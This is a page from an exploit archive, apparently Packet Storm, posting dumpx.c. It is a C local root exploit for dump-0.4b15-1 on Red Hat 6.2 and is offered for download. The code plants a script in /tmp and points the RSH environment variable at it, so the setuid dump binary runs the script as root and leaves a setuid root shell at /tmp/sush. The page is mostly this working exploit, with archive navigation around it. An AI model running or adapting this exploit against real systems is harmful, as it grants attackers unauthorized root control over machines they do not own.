what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

dumpx.c

dumpx.c
Posted Nov 12, 2000
Authored by The Itch

Dump-0.4b15-1 local root exploit tested on Redhat 6.2.

tags | exploit, local, root
systems | linux, redhat
SHA-256 | d31cd93409f644756b8b6acfdfd278b35330784f6a3365bc1c5848ed1558216f

dumpx.c

Change Mirror Download
/* dump-0.4b15-1 exploit for linux redhat 6.2
dump executing a user editable enviroment setting that runs a file
without dropping root priviledges, thus making the spawn of a root
shell possible.

bug discovered by: mat <mat@hacksware.com>
exploit code by: The Itch / BsE

P.S.: mind the dumb coding, its my first exploit and im still learning

shouts go out to:
Xistence, C-murdah, dystopia, Pyra, Zer0, Wildcoyote, lucipher, Tozz
Shadowlady, Dilusi0n, Calimonk, s0k, Script0r and the rest of Ph33r the B33r

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DUMP "/sbin/dump"
#define TMP "/tmp/rsh"
#define ROOTSHELL "/tmp/sush"

// if you changed #define TMP then change the path of the CHATTRIB too
#define CHATTRIB "chmod 755 /tmp/rsh"

// if you changed the path of dump in #define DUMP then change the
// path of #define RUNDUMP too
#define RUNDUMP "/sbin/dump -0 /"

int main()
{
FILE *rshfile;
FILE *dumpfile;

printf("\n* Dump exploit for linux redhat 6.2\n");
printf("* Bug discovered by Mat <mat@hacksware.com>\n");
printf("* Exploit coded by The Itch / BsE\n\n");

dumpfile = fopen(DUMP, "r");
if(!dumpfile)
{
printf("\n%s not found or is not world readable/executable!!\n\n", DUMP);
exit(0);
}
fclose(dumpfile);

rshfile = fopen(TMP, "w");
fprintf(rshfile, "#!/bin/sh\n");
fprintf(rshfile, "cp /bin/sh %s\n", ROOTSHELL);
fprintf(rshfile, "chown root.root %s\n", ROOTSHELL);
fprintf(rshfile, "chmod 4755 %s\n", ROOTSHELL);
fclose(rshfile);
system(CHATTRIB);

printf("Invoking vulnerable program %s\n", DUMP);
printf("Ignore the garbage....\n\n");

putenv("TAPE=garbage:garbage");
setenv("RSH", TMP, 1);
system(RUNDUMP);

printf("\n\nif all went well, a rootshell awaits you in %s\n\n",ROOTSHELL);

return 0;
}

/* Remember, there's no cure for BsE */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close